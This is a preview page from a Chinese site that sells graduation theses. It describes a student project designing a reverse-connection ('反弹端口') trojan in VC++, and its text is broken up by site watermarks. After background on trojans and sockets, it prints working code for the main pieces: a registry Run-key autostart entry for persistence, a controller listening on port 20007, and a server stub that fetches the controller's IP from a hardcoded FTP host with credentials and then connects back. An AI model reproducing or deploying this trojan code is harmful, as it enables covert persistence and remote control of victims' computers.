优秀的毕业设计论文网
计算机 JAVA 电子信息 单片机 机械机电 模具 土木工程 建筑结构 论文
热门搜索词:网络 ASP.NET 汽车 电气 数控 PLC

VC414 反弹端口木马的设计VC++

以下是资料介绍,如需要完整的请充值下载.
1.无需注册登录,支付后按照提示操作即可获取该资料.
2.资料以网页介绍的为准,下载后不会有水印.资料仅供学习参考之用.
  
资料介绍:

当前的木马已经进入了新的发展阶段,除继承了前三代木马的特性外,又形成了其新的特性,首先,其功能更加强大,已经由单一功能发展到综合性木马,向远程控制发展,像Netspy(网络精灵)这样的木马,除了能在服务端执行指定程序、关机操作、发送信息、显示屏幕还能对服务端的进程进行操作,以及能像操作本机文件一样操作服务端文件。其次,为了逃过杀毒软件的检测,躲过用户的发现,其隐藏和自启动有了长足的发展,通过隐藏窗口、共用端口,利用把木马程序写成dll动态链接库隐藏进程,加强了木马的隐蔽性,加大了用户发现和 [版权所有:http://think58.com]

木马攻击与防范是矛盾的两个方面,攻击和防范技术在不断地相互较量中也不断地相互促进,这个过程还将依然持续下去。
1.4  课题的研究方法
先从网上查阅木马相关资料,了解木马的发展以及当前木马技术水平,深刻领会木马攻击以及木马程序的工作原理,加强程序编码的学习,学会Windows网络编程,之后进行各部分的程序设计,然后进行代码调试,逻辑功能调试以及木马种植和木马攻击的测试。在设计中以需求分析为基础,写出实现流程及相关问题的实现方法〖本文来自:计算机毕业网  〗
2 相关理论基础
本木马采用C/S工作模式,由客户端和服务端两部分组成,服务端作为被控端运行在目标计算机上,接收指令,根据指令执行相应的操作;客户端作为主控端运行在用户计算机向服务端发送指令。编码上是利用VC++进行Socket网络编程,使用Visual C++ 6.0进行编译。
2.1 木马概述
特洛伊木马,简称木马,英文叫做“Trojan horse”,其名称取自希腊
套接字(Socket)最初是由加得福尼亚大学Berkeley分校为Unix操作系统开发的网络通信接口。目前已经成为最流行的网络通信应用程序接口之一。应用层通过传输层进行数据通信时,TCP和UDP会遇到同时为多个应用程序进程提供并发服务的问题。多个TCP连接或多个应用程序进程可能需要通过同一个TCP协议端口传输数据。为了区别不同的应用程序进程和连接,许多计算机操作系统为应用程序与TCP/IP协议交互提供了称为套接字(Socket)的接口。 区分不同应用程序进程间的网络通信和连接,主要有3个参数:通信的目的IP地址、使用的传输层协议(TCP或UDP)和使用的端口号。Socket原意是“插座”。通过将这3个参数结合起来,与一个“插座”Socket绑定,应用层就可以和传输层通过套接字接口,区分来自不同应用程序进程或网络连接的通信,实现数据传输的并发服务。Socket实际上是指一个通信端点,借助于它,用户所开发的Socket应用程序,可以通过网络与其他Socket应用程序进行通信。 本文来自think58

[资料来源:http://www.THINK58.com]

木马的一个基本特性就是要开机自动运行,本木马的自动运行是通过写入注册表的启动项,在根键HKEY_LOCAL_MACHINE下的Software\\Microsoft\\Windows\\CurrentVersion\\Run中建立名为autorun的子键,类型为REG_SZ,数据为当前运行的文件,程序在执行这些操作时首先检查Run下是否已经有该子键,若没有就创建,有就跳过此操作。执行这些操作的代码放在CServerView类的Create函数下,程序初始化时就能自动执行。有了这些操作后木马的服务端就能在被攻击计算机系统启动时自动加载了。
把写入注册表实现自动启动的代码封装在函数write_reg()里,具体实现代码详解如下:
int CServerView::write_reg()//函数名
{
 // 根键、子键名称、和到子键的句柄
 HKEY hRoot = HKEY_LOCAL_MACHINE;
       char *szSubKey = "Software\\Microsoft\\Windows\\CurrentVersion\\Run";
 HKEY hKey;
 // 打开指定子键
 DWORD dwDisposition = REG_OPENED_EXISTING_KEY; // 如果存在则不创建
 LONG lRet = ::RegCreateKeyEx(hRoot, szSubKey, 0, NULL,
  REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &hKey, &dwDisposition);

think58.com [资料来源:http://think58.com]


 if(lRet != ERROR_SUCCESS)
  return -1;
 // 得到当前执行文件的文件名(包含路径)
        char szModule[MAX_PATH] ;
        ::GetModuleFileName (NULL, szModule, MAX_PATH);
 // 创建一个新的键值,设置键值数据为文件名
 lRet = ::RegSetValueEx(hKey, "autorun", 0, REG_SZ, (BYTE*)szModule, strlen(szModule));
 ::RegCloseKey(hKey);
 return 1;
} think58 [资料来源:http://think58.com]

木马客户端运行后应先单击“等待连接”来让客户端处于监听状态,单击该按钮将触发clientDlg.cpp文件中事件函数OnConnectButton,其实现监听的代码如下所示:
void CClientDlg::OnConnectButton()
{
 MyClient.Create (20007);// MyClient对象调用Create方法,创建套接字,打开2007端口
 MyClient.Bind (20007); //绑定
 MyClient.Listen (1); //监听
    m_info.ReplaceSel("\r\n监听中...");
}
木马服务端运行后,在连接前应到FTP服务器上获取客户端的IP地址,其实现核心代码如下:〖本文来自:计算机毕业网  〗
CInternetSession session;
CFtpConnection* pConn=NULL;
pConn=session.GetFtpConnection("222.18.122.131","admin","123456",21);//创建一个FTP连接对象
  CString LocalFile;
  getcwd(LocalFile, 80);
  pConn->GetFile("ipaddress.txt",LocalFile); //下载文件到本地
  pConn->Close();
  session.Close();
服务端得到客户端IP地址后应该主动向客户端发起连接,其实现是在serverView.cpp中的Create函数中,核心代码如下:
CFile IpFile("ipaddress.txt",CFile::modeRead);//打开当前运行文件路径下的//ipaddress.txt文件 [资料来源:www.THINK58.com]
IpFile.Read(p,20); //读取文件,并将文件内容存放在指针p中
IpFile.Close();
ip=CString(p);
server.Create ();//创建套按字
server.Connect(ip,20007); //连接IP地址为ip的主机的20007端口
think58.com

[版权所有:http://think58.com]